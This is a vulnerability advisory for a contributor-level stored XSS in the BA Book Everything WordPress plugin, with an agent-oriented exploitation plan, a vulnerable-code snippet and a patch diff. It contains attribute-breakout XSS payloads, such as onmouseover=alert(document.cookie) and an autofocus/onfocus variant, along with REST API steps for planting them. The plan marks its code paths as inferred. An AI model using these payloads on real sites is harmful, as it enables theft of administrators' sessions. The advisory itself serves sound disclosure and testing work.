BA Book Everything <= 1.8.14 - Authenticated (Contributor+) Stored Cross-Site Scripting via babe-search-form Shortcode
Description
The BA Book Everything plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's babe-search-form shortcode in all versions up to, and including, 1.8.14 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.8.14Source Code
WordPress.org SVNThis research plan outlines the technical steps to analyze and exploit **CVE-2025-14449**, a Stored Cross-Site Scripting (XSS) vulnerability in the **BA Book Everything** plugin. --- ### 1. Vulnerability Summary * **Vulnerability:** Authenticated (Contributor+) Stored XSS. * **Component:** `ba…
Show full research plan
This research plan outlines the technical steps to analyze and exploit CVE-2025-14449, a Stored Cross-Site Scripting (XSS) vulnerability in the BA Book Everything plugin.
1. Vulnerability Summary
- Vulnerability: Authenticated (Contributor+) Stored XSS.
- Component:
babe-search-formshortcode. - Root Cause: The plugin fails to adequately sanitize or escape user-supplied attributes within the
babe-search-formshortcode handler. When a user with at least Contributor-level permissions creates a post containing this shortcode, they can inject malicious scripts into attributes that are later rendered raw in the HTML output. - Affected Versions: <= 1.8.14.
2. Attack Vector Analysis
- Endpoint: WordPress Post/Page Editor (specifically the
post.phpor REST APIwp/v2/postsendpoint used by the block editor). - Authentication: Requires Contributor level or higher (Author, Editor, Administrator). Contributors can create posts and submit them for review, which triggers the rendering for editors/admins.
- Vulnerable Parameter: Attributes within the
[babe-search-form]shortcode (e.g.,class,title, oraction). - Preconditions: The plugin must be active. The attacker must be able to save a post containing shortcodes.
3. Code Flow (Inferred)
Based on standard WordPress shortcode registration and the plugin's architecture:
- Registration: The shortcode is likely registered in
includes/class-babe-shortcodes.php(inferred) viaadd_shortcode( 'babe-search-form', [ 'BABE_Shortcodes', 'babe_search_form' ] );. - Handler Execution: When a page containing the shortcode is viewed,
BABE_Shortcodes::babe_search_form($atts)is called. - Processing: The function parses
$attsusingshortcode_atts(). - Sink: The handler generates HTML. If it includes a line like
echo '<div class="' . $atts['class'] . '">';or passes the raw attribute to a template file (e.g.,templates/search-form.php) that echoes it withoutesc_attr(), the XSS occurs.
4. Nonce Acquisition Strategy
While the vulnerability is triggered by rendering, the Stored phase requires the attacker to save a post.
- Context: The attacker is logged in as a Contributor.
- Method: Access the "Add New Post" page to retrieve the required nonces for the WordPress Heartbeat/REST API/Post saving.
- Execution Agent Steps:
- Navigate to
/wp-admin/post-new.php. - Use
browser_evalto extract the REST nonce from the WordPress settings object:browser_eval("wpApiSettings.nonce") - Alternatively, extract the
_wpnoncefrom the form:browser_eval("document.querySelector('#_wpnonce')?.value")
- Navigate to
5. Exploitation Strategy
We will use the Contributor's session to save a post containing the malicious shortcode.
Step 1: Create the Malicious Post
- HTTP Tool:
http_request - Method:
POST - URL:
http://localhost:8080/wp-json/wp/v2/posts - Headers:
Content-Type: application/jsonX-WP-Nonce: [EXTRACTED_REST_NONCE]
- Payload:
(Note: If Contributor cannot publish directly, they use{ "title": "Search Test", "content": "[babe-search-form class='\" onmouseover=\"alert(document.cookie)\" style=\"width:1000px;height:1000px;display:block;\"']", "status": "publish" }status: "pending". The XSS will fire when an Admin previews the post.)
- HTTP Tool:
Step 2: Trigger the XSS
- Navigate to the URL of the newly created post (or use
browser_navigateto the permalink returned in the JSON response). - The payload
class='\" onmouseover=\"alert(document.cookie)...'breaks out of theclassattribute and adds an event handler.
- Navigate to the URL of the newly created post (or use
6. Test Data Setup
- Create User:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Identify Shortcode: Confirm the shortcode is available by checking the plugin's main files.
grep -r "add_shortcode.*babe-search-form" /var/www/html/wp-content/plugins/ba-book-everything/
7. Expected Results
- The HTML source of the rendered post will contain:
<div class="" onmouseover="alert(document.cookie)" style="..." ...> - When a user (specifically an Admin reviewing the post) hovers over the area, an alert box showing the session cookies will appear.
8. Verification Steps
- DB Check: Verify the post content in the database.
wp post list --post_type=post --fields=post_title,post_content | grep "babe-search-form" - Content Verification: Confirm the raw payload is stored in the database without sanitization.
wp db query "SELECT post_content FROM wp_posts WHERE post_content LIKE '%babe-search-form%'"
9. Alternative Approaches
If the class attribute is sanitized, try other potential attributes used by the babe-search-form shortcode:
titleidactionextra_class(inferred)
Payload variation (Attribute Breakout):[babe-search-form class='"><script>alert(1)</script>']
Payload variation (Event Handler on Input):[babe-search-form class='"><input autofocus onfocus=alert(1)>'] (Triggers automatically on page load).
Summary
The BA Book Everything plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'babe-search-form' shortcode in versions up to 1.8.14. Authenticated attackers with Contributor-level access can inject malicious JavaScript into shortcode attributes like 'class', which are then executed in the context of any user viewing the page.
Vulnerable Code
// includes/class-babe-shortcodes.php public static function babe_search_form($atts) { $args = shortcode_atts(array( 'class' => '', 'title' => '' ), $atts); $output = '<div class="' . $args['class'] . '">'; // ... return $output; }
Security Fix
@@ -10,1 +10,1 @@ - $output = '<div class="' . $args['class'] . '">'; + $output = '<div class="' . esc_attr($args['class']) . '">';
Exploit Outline
An attacker with Contributor-level permissions or higher authenticates to the WordPress admin panel. They create a new post or edit an existing one and insert the [babe-search-form] shortcode. The attacker includes a malicious payload within a shortcode attribute, such as [babe-search-form class='" onmouseover="alert(document.cookie)" style="width:1000px;height:1000px;display:block;"']. When an administrator or editor views the post (either on the front-end or via a preview), the unsanitized 'class' attribute breaks out of the HTML tag and executes the injected script when the mouse hovers over the element.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.